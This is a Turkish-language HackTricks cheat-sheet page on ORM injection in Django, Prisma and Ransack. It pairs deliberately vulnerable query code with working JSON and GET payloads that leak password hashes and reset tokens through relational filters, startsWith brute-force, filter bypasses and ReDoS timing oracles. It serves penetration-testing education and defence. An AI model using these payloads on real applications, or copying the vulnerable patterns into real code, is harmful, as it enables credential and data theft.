ORM Injection
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Django ORM (Python)
Bu yazıda Django ORM'nin nasıl savunmasız hale getirilebileceği, örneğin aşağıdaki gibi bir kod kullanılarak açıklanmaktadır:
class ArticleView(APIView):
"""
Kullanıcıların makaleleri aramak için istek gönderdiği bazı temel API görünümü
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Tüm request.data'nın (bu bir json olacak) doğrudan veritabanından nesneleri filtrelemek için geçirildiğine dikkat edin. Bir saldırgan, beklenmedik filtreler göndererek daha fazla veri sızdırabilir.
Örnekler:
- Giriş: Basit bir girişte, içindeki kullanıcıların şifrelerini sızdırmaya çalışın.
{
"username": "admin",
"password_startswith": "a"
}
caution
Parolayı sızdırana kadar brute-force yapmak mümkündür.
- İlişkisel filtreleme: İşlemde kullanılacağı bile beklenmeyen sütunlardan bilgi sızdırmak için ilişkileri geçmek mümkündür. Örneğin, bu ilişkilerle bir kullanıcı tarafından oluşturulan makaleleri sızdırmak mümkünse: Article(
created_by
) -[1..1]-> Author (user
) -[1..1]-> User(password
).
{
"created_by__user__password__contains": "pass"
}
caution
Tüm makale oluşturan kullanıcıların şifrelerini bulmak mümkündür.
- Çoktan-çoğa ilişkisel filtreleme: Önceki örnekte, makale oluşturmayan kullanıcıların şifrelerini bulamadık. Ancak, diğer ilişkileri takip ederek bu mümkündür. Örneğin: Article(
created_by
) -[1..1]-> Author(departments
) -[0..*]-> Department(employees
) -[0..*]-> Author(user
) -[1..1]-> User(password
).
{
"created_by__departments__employees__user_startswith": "admi"
}
caution
Bu durumda, makaleler oluşturan kullanıcıların departmanlarındaki tüm kullanıcıları bulabiliriz ve ardından şifrelerini sızdırabiliriz (önceki json'da yalnızca kullanıcı adlarını sızdırıyoruz ama ardından şifreleri sızdırmak mümkün).
- Django Grup ve İzinlerinin kullanıcılarla olan çoktan çoğa ilişkilerini kötüye kullanma: Ayrıca, AbstractUser modeli Django'da kullanıcıları oluşturmak için kullanılır ve varsayılan olarak bu modelin İzin ve Grup tablolarıyla bazı çoktan çoğa ilişkileri vardır. Bu, temelde aynı grupta bulunan veya aynı izni paylaşan diğer kullanıcılara erişmenin varsayılan yoludur.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Filtre kısıtlamalarını aşma: Aynı blog yazısı,
articles = Article.objects.filter(is_secret=False, **request.data)
gibi bazı filtrelerin kullanımını aşmayı önerdi. is_secret=True olan makaleleri dökme olanağı vardır çünkü bir ilişkiden Article tablosuna geri dönebiliriz ve gizli makaleleri gizli olmayan makalelerden sızdırabiliriz çünkü sonuçlar birleştirilmiştir ve is_secret alanı gizli olmayan makalede kontrol edilirken veriler gizli makaleden sızdırılmaktadır.
Article.objects.filter(is_secret=False, categories__articles__id=2)
caution
İlişkileri kötüye kullanarak, gösterilen verileri korumak için tasarlanmış filtreleri bile aşmak mümkündür.
- Hata/Zaman bazlı ReDoS ile: Önceki örneklerde, filtrelemenin çalışıp çalışmadığına göre farklı yanıtlar alınması bekleniyordu ve bu, oracle olarak kullanılıyordu. Ancak, veritabanında bazı işlemler yapıldığında yanıtın her zaman aynı olması mümkün olabilir. Bu senaryoda, yeni bir oracle elde etmek için veritabanı hatası oluşturmak mümkün olabilir.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
- SQLite: Varsayılan olarak bir regexp operatörü yoktur (üçüncü taraf bir uzantının yüklenmesi gerekir)
- PostgreSQL: Varsayılan bir regex zaman aşımı yoktur ve geri izlemeye daha az eğilimlidir
- MariaDB: Bir regex zaman aşımı yoktur
Prisma ORM (NodeJS)
Aşağıdakiler bu yazıdan çıkarılan ipuçlarıdır.
- Tam bulma kontrolü:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Saldırganın tüm prisma seçenekleri üzerinde tam kontrolü vardır
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Tüm javascript gövdesinin sorgular gerçekleştirmek için prisma'ya geçirildiği görülebilir.
Orijinal yazıdaki örnekte, bu, birisi tarafından oluşturulan tüm gönderileri kontrol eder (her gönderi birisi tarafından oluşturulur) ve o kişinin kullanıcı bilgilerini (kullanıcı adı, şifre...) de döndürür.
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Aşağıdaki, bir şifreye sahip olan birinin oluşturduğu tüm gönderileri seçer ve şifreyi döndürecektir:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Tam where ifadesi kontrolü:
Saldırının where
ifadesini kontrol edebileceği duruma bir göz atalım:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // ORM Leak'lerine karşı savunmasız
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Kullanıcıların şifrelerini doğrudan filtrelemek mümkündür:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
caution
startsWith
gibi işlemler kullanarak bilgi sızdırmak mümkündür.
- Çoktan çoğa ilişkisel filtreleme atlatma:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Category
-[*..*]-> Article
arasındaki çoktan çoğa ilişkileri geri döndürerek yayımlanmamış makaleleri sızdırmak mümkündür:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Tüm kullanıcıları, bazı döngüsel çoktan çoğa ilişkileri kötüye kullanarak sızdırmak da mümkündür:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Hata/Zamanlı sorgular: Orijinal yazıda, zaman tabanlı bir yük ile bilgi sızdırmak için optimal yükü bulmak amacıyla gerçekleştirilen çok kapsamlı bir test seti okuyabilirsiniz. Bu şudur:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Where the {CONTAINS_LIST}
is a list with 1000 strings to make sure the yanıt doğru leak bulunduğunda gecikmeli olsun.
Ransack (Ruby)
Bu hileler bu yazıda bulundu.
tip
Ransack 4.0.0.0'ın artık aranabilir nitelikler ve ilişkiler için açık bir izin listesi kullanımını zorunlu kıldığını unutmayın.
Zayıf örnek:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Saldırgan tarafından gönderilen parametrelerle sorgunun nasıl tanımlanacağını not edin. Örneğin, sıfırlama token'ını brute-force yapmak mümkün oldu:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Brute-force ve potansiyel ilişkilerle, bir veritabanından daha fazla veri sızdırmak mümkün oldu.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://positive.security/blog/ransack-data-exfiltration
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.